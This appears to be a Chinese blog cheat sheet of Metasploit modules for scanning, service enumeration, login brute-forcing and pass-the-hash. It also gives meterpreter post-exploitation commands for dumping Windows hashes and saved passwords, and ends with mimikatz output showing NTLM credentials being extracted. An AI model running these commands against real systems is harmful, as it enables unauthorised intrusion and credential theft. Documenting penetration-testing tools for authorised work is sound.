metasploit 常用模块

爬虫:auxiliary/crawler/msfcrawler
判断存活主机:meterpreter > run arp_scanner -r
寻找局域网里面匿名ftp auxiliary/scanner/ftp/anonymous
寻找putty保存的密码meterpreter > run enum_putty
寻找ie保存的密码meterpreter > run post/windows/gather/enum_ie
windows的口令:meterpreter > run windows/gather/smart_hashdump
得到本地路由:meterpreter > run get_local_subnets
暴力破解:use auxiliary/scanner/mssql/mssql_login
mssql执行cmd:use auxiliary/admin/mssql/mssql_exec

端口扫描
auxiliary/scanner/portscan
scanner/portscan/ack ACK防火墙扫描
scanner/portscan/ftpbounce FTP跳端口扫描
scanner/portscan/syn SYN端口扫描
scanner/portscan/tcp TCP端口扫描
scanner/portscan/xmas TCP”XMas”端口扫描

smb扫描
smb枚举auxiliary/scanner/smb/smb_enumusers
返回DCERPC信息auxiliary/scanner/smb/pipe_dcerpc_auditor
扫描SMB2协议auxiliary/scanner/smb/smb2
扫描smb共享文件auxiliary/scanner/smb/smb_enumshares
枚举系统上的用户auxiliary/scanner/smb/smb_enumusers
SMB登录auxiliary/scanner/smb/smb_login
SMB登录use windows/smb/psexec(通过md5值登录)
扫描组的用户auxiliary/scanner/smb/smb_lookupsid
扫描系统版本auxiliary/scanner/smb/smb_version

mssql扫描(端口tcp1433udp1434)
admin/mssql/mssql_enum MSSQL枚举
admin/mssql/mssql_exec MSSQL执行命令
admin/mssql/mssql_sql MSSQL查询
scanner/mssql/mssql_login MSSQL登陆工具
scanner/mssql/mssql_ping 测试MSSQL的存在和信息

另外还有一个mssql_payload的模块 利用使用的

smtp扫描
smtp枚举auxiliary/scanner/smtp/smtp_enum
扫描smtp版本auxiliary/scanner/smtp/smtp_version
snmp扫描
通过snmp扫描设备auxiliary/scanner/snmp/community

ssh扫描
ssh登录auxiliary/scanner/ssh/ssh_login
ssh公共密钥认证登录auxiliary/scanner/ssh/ssh_login_pubkey
扫描ssh版本测试auxiliary/scanner/ssh/ssh_version

telnet扫描
telnet登录auxiliary/scanner/telnet/telnet_login
扫描telnet版本auxiliary/scanner/telnet/telnet_version

tftp扫描
扫描tftp的文件auxiliary/scanner/tftp/tftpbrute
ftp版本扫描scanner/ftp/anonymous

ARP扫描
auxiliary/scanner/discovery/arp_sweep
扫描UDP服务的主机auxiliary/scanner/discovery/udp_probe
检测常用的UDP服务auxiliary/scanner/discovery/udp_sweep
sniffer密码auxiliary/sniffer/psnuffle
snmp扫描scanner/snmp/community
vnc扫描无认证扫描scanner/vnc/vnc_none_auth

metasploit mimikatz 抓取密码

meterpreter > load mimikatz   //加载法国神器
Loading extension mimikatz...success.
meterpreter > msv
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;62271  NTLM       K8ANTI-B2B9B81C  Administrator     lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;53697  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        K8ANTI-B2B9B81C$  n.s. (Credentials KO)

meterpreter > kerberos
[!] Not currently running as SYSTEM
[*] Attempting to getprivs
[+] Got SeDebugPrivilege
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;62271  NTLM       K8ANTI-B2B9B81C  Administrator     
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;53697  NTLM                                          
0;999    NTLM       WORKGROUP        K8ANTI-B2B9B81C$  

meterpreter >

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注